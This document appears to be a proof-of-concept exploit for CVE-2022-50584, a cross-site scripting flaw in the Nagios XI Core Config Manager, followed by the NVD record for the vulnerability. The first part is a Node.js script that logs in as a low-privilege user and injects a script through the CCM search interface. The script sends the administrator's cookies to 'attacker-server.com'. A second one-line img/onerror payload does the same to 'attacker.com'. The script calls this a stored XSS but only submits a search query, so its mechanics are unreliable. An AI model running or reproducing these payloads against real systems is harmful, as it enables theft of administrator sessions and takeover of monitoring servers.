CVE-2022-50584

// CVE-2022-50584 PoC - Nagios XI CCM XSS via Search Interface // This PoC demonstrates the stored XSS vulnerability in Nagios XI CCM const axios = require('axios'); const cheerio = require('cheerio'); // Configuration const TARGET_URL = 'http://target-nagios-xi.local'; const ATTACKER_USERNAME = 'low_privilege_user'; const ATTACKER_PASSWORD = 'user_password'; // XSS Payload - Cookie Stealer const XSS_PAYLOAD = `<script> // Steal admin cookies and send to attacker server fetch('http://attacker-server.com/steal?cookie=' + btoa(document.cookie)); </script>`; async function exploit() { console.log('[*] Starting CVE-2022-50584 exploitation...'); // Step 1: Login as low-privilege user const loginPage = await axios.get(`${TARGET_URL}/nagiosxi/login.php`); const nsp = loginPage.data.match(/nsp=\d+/)[0]; const loginResponse = await axios.post(`${TARGET_URL}/nagiosxi/login.php`, `username=${ATTACKER_USERNAME}&password=${ATTACKER_PASSWORD}&nsp=${nsp}`, { maxRedirects: 0, validateStatus: (status) => status === 302 } ); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Logged in successfully'); // Step 2: Inject XSS payload via CCM search interface const ccmSearchUrl = `${TARGET_URL}/nagiosxi/config/contact?search=${encodeURIComponent(XSS_PAYLOAD)}`; await axios.get(ccmSearchUrl, { headers: { Cookie: cookies.join(';') } }); console.log('[+] XSS payload injected via search interface'); // Step 3: Trigger the vulnerability when admin views the page console.log('[*] Waiting for admin to access the page...'); console.log('[+] Payload stored: XSS will execute when admin visits CCM search page'); } exploit().catch(console.error); // Alternative: Direct XSS Payload for manual testing // <img src=x onerror="fetch('http://attacker.com/steal?c='+btoa(document.cookie))">

{"cve": {"id": "CVE-2022-50584", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:41.790", "lastModified": "2025-11-06T18:19:44.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.6 / Nagios XI 5.8.8 contains a cross-site scripting (XSS) vulnerability via the search and deletion interfaces. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}, {"lang": "es", "value": "El Core Config Manager (CCM) en Nagios XI versiones anteriores a CCM 3.1.6 / Nagios XI 5.8.8 contiene una vulnerabilidad de cross-site scripting (XSS) a través de las interfaces de búsqueda y eliminación. La validación o el escape insuficientes de la entrada proporcionada por el usuario pueden permitir a un atacante inyectar y ejecutar scripts arbitrarios en el contexto del navegador de una víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.8", "matchCriteriaId": "7B5D6762-F1C1-42E5-927E-6C80D1E23536"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-ccm-xss-via-search-and-deletion-flows", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}